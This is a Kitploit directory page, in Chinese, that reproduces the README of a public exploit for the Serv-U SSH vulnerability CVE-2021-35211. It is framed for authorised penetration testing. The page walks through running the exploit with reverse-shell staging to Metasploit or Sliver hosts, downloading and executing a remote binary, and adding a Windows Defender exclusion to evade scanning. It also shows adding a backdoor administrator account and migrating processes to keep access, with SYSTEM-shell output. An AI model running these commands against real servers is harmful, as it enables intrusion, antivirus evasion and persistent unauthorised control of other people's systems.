Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-35211 — Serv-U-FTP CVE-2021-35211 漏洞利用 | Kitploit
工具/GitHubGitHub/0xhaggis/cve-2021-35211
漏洞分析漏洞利用Shellcode渗透测试命令与控制远程访问工具Payload 开发二进制利用
GitHub0xhaggis/cve-2021-35211

CVE-2021-35211

Serv-U-FTP CVE-2021-35211 漏洞利用

查看仓库
134年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Serv-U CVE-2021-35211 漏洞利用

潜在的拒绝服务风险 - 请检查你的交战规则

该漏洞利用并非每次都能成功,但成功率足以在大约每5到6次运行中执行一次 shellcode。然而,有时失败的利用会导致 Serv-U 服务器崩溃。请确保你的交战规则允许服务丢失或降级的风险。测试中观察到的症状包括:

  • 崩溃并自动重启(最常见)
  • 在成功和不成功的尝试中断开已登录用户
  • 崩溃且无法自动重启

买者自负。

快速开始

版本很重要。此漏洞利用使用硬编码的 ROP 地址,仅对 Serv-U 版本 15.2.3.717 有效。我们可能能够添加其他版本,如果你需要它适用于不同版本的 Serv-U 或 Windows,请提出请求。

检查目标上的版本

root@kitploit:~
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717

运行漏洞利用

它接受以下参数:

root@kitploit:~
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...

有三种模式(或 payload)可以在成功攻击中运行:

  1. stage
  2. exec
下载工具
  • downloadexec
  • Stage 模式

    成功利用后,运行一个与 Metasploit/Sliver 兼容的 shellcode 加载器。它是所有 payload 中最不可靠的;考虑使用 downloadexec。运行方式如下:

    root@kitploit:~
    % python3 CVE-2021-35211.py example.com stage -h
    usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort
    
    positional arguments:
      stageHost   Hostname or IPv4 address of your Metasploit/Sliver shellcode staging instance
      stagePort   Port number for your staging instance
    
    optional arguments:
      -h, --help  show this help message and exit
    

    stageHost 和 stagePort 将指向你的 Sliver/Metasploit 机器上的监听处理程序。你可以选择任何你喜欢的 payload,但我发现唯一可靠的是 windows/x64/shell/reverse_tcp。这很遗憾,因为这不是加密的 shell,在弹出这样的 shell 之前,你需要检查你的交战规则。

    再次强调,买者自负。

    在你的 Kali 机器上运行的 Metasploit 中设置该处理程序,如下所示:

    root@kitploit:~
    elvis@kali:~ msfconsole
    ...
    msf5 >
    msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
    [*] Payload handler running as background job 1.
    

    然后运行漏洞利用:

    root@kitploit:~
    % python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
    [+] Targeting example.com:22
    [+] Setting up exploit payload buffer
    [+] Constructing ROP chain
    [+] Adding shellcode
    [+] Spraying Serv-U-FTP server @ example.com:22
    [+] Sending exploit trigger payload...
    [+] Done! Sometimes it takes a few runs to work - try again if it failed.
    

    回到 Kali 机器上,你应该会看到 stage 请求和命令 shell 启动:

    root@kitploit:~
    msf5 >
    [*] Sending stage (336 bytes) to example.com
    [*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000
    
    msf5 >sessions -i 6
    [*] Starting interaction with 6...
    
    
    (c) Microsoft Corporation. All rights reserved.
    
    C:\Program Files\RhinoSoft\Serv-U>whoami
    whoami
    nt authority\system
    

    Sliver

    在加载器 payload 中对 Sliver 的支持是高度实验性的且很少能工作。如果它工作,你通常会看到会话启动并立即死亡。但如果你获得一个不会立即终止的会话,你可以采取步骤通过迁移到不同的进程来维护你的 Sliver 访问。

    在你的 Sliver 服务器上运行 stage-listener 命令来设置监听器。关于 staging 的更多细节,请参阅 Sliver 文档:

    root@kitploit:~
    elvis@h:/ehome/haggis$ sudo sliver-server
    
        ███████╗██╗     ██╗██╗   ██╗███████╗██████╗
        ██╔════╝██║     ██║██║   ██║██╔════╝██╔══██╗
        ███████╗██║     ██║██║   ██║█████╗  ██████╔╝
        ╚════██║██║     ██║╚██╗ ██╔╝██╔══╝  ██╔══██╗
        ███████║███████╗██║ ╚████╔╝ ███████╗██║  ██║
        ╚══════╝╚══════╝╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝
    
    All hackers gain first strike
    [*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
    [*] Welcome to the sliver shell, please type 'help' for options
    
    [*] Check for updates with the 'update' command
    
    sliver > 
    sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode
    

    在 stage 模式下运行漏洞利用:

    root@kitploit:~
    % python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
    [+] Targeting example.com:22
    [+] Setting up exploit payload buffer
    [+] Constructing ROP chain
    [+] Adding shellcode
    [+] Spraying Serv-U-FTP server @ example.com:22
    [+] Sending exploit trigger payload...
    [+] Done! Sometimes it takes a few runs to work - try again if it failed.
    

    如果漏洞利用成功(使用 Sliver 或 Meterpreter payload 时很少成功),你会看到类似这样的输出(是的,Sliver 自己给那个 payload 取了这个名字!):

    root@kitploit:~
    [*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC
    
    sliver > sessions -i 4
    
    [*] Active session ARTISTIC_PANTIES (4)
    
    sliver (ARTISTIC_PANTIES) > info
    
                    ID: 4
                  Name: ARTISTIC_PANTIES
              Hostname: WIN-EMCK6E5O0DI
                  UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
              Username: NT AUTHORITY\SYSTEM
                   UID: S-1-5-18
                   GID: S-1-5-18
                   PID: 3956
                    OS: windows
               Version: Server 2016 build 20348 x86_64
                  Arch: amd64
        Remote Address: example.com:57071
             Proxy URL: none
         Poll Interval: 1
    Reconnect Interval: 60
    

    你应该做的第一件事是迁移到不同的进程,因为你的 Sliver 会话很可能会死亡且不再回来,而我在撰写本文时尚不知道根本原因。

    root@kitploit:~
    sliver (ARTISTIC_PANTIES) > ps
    
    pid   ppid  owner                         executable                   session
    ===   ====  =====                         ==========                   =======
    0     0                                   [System Process]             -1
    4     0                                   System                       0
    ...
    3872  728   NT AUTHORITY\SYSTEM           svchost.exe                  0
    4868  728   BUILTIN\Administrators        Serv-U.exe                   0
    4636  868   BUILTIN\Administrators        dllhost.exe                  0
    
    sliver (ARTISTIC_PANTIES) > migrate 3872
    
    [*] Successfully migrated to 3872
    

    此时,你应该拥有一个稳定的 Sliver 会话,不受 Serv-U 和此漏洞利用的反复无常影响。

    下载并执行模式

    最可靠的模式,也是最不可能被 Microsoft Defender 端点安全拦截的模式。这是因为它使用 Powershell 命令(powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}")为 Microsoft Defender 添加目录排除,使得 Sliver/Meterpreter/任何二进制文件不会被扫描恶意软件。这能保护你免受 Windows Defender 的威胁,但仅此而已;你需要考虑其他端点安全技术、网络 IDS 等。

    成功时,从 URL 下载一个二进制文件并执行它。你需要一个托管可执行文件的 Web 服务器。我使用了 Python,但请注意,我是在没有 SSL 的本地网络中进行测试。在实际攻击中,如果你想使用未加密的 URL,你需要检查你的交战规则。

    再次强调:买者自负。

    运行一个简单的 HTTP 监听器,如下所示:

    root@kitploit:~
    % python -m SimpleHTTPServer
    Serving HTTP on 0.0.0.0 port 8000 ...
    

    在监听器运行时,你可以运行漏洞利用:

    root@kitploit:~
    % python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
    [+] Targeting example.com:22
    [+] Setting up exploit payload buffer
    [+] Constructing ROP chain
    [+] Adding shellcode
    [+] Spraying Serv-U-FTP server @ example.com:22
    [+] Sending exploit trigger payload...
    [+] Done! Sometimes it takes a few runs to work - try again if it failed.
    

    你应该会在监听器中看到类似这样的内容:

    root@kitploit:~
    192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -
    

    目标将执行 calc.exe 并重启 Serv-U 服务,以允许用户重新连接。请注意,可执行文件不会显示窗口,但如果你运行此示例,你应该能在任务管理器中看到 wincalc.exe。

    命令执行模式

    成功时,在目标上运行一条命令。运行方式如下:

    root@kitploit:~
    % python3 serv-u-exploit2.py example.com exec 'net user bishopfox r34LLy.g00d_p4ssW0rd /add & net localgroup administrators bishopfox /add'
    [+] Targeting example.com:22
    [+] Setting up exploit payload buffer
    [+] Constructing ROP chain
    [+] Adding shellcode
    [+] Spraying Serv-U-FTP server @ example.com:22
    [+] Sending exploit trigger payload...
    [+] Done! Sometimes it takes a few runs to work - try again if it failed.
    

    致谢

    • 发现该漏洞的微软研究人员:https://www.microsoft.com/security/blog/2021/09/02/a-deep-dive-into-the-solarwinds-serv-u-ssh-vulnerability/
    • @NattiSamson 完成了我的代码所基于的概念验证:https://github.com/NattiSamson/Serv-U-CVE-2021-35211/blob/main/CVE-2021-35211_PoC.py

    最后的想法

    遗憾的是,此漏洞利用确实往往会导致远程进程崩溃。通常它会重启,我正在尝试看是否能让它更稳定,但在此之前,请记住:检查你的交战规则并买者自负。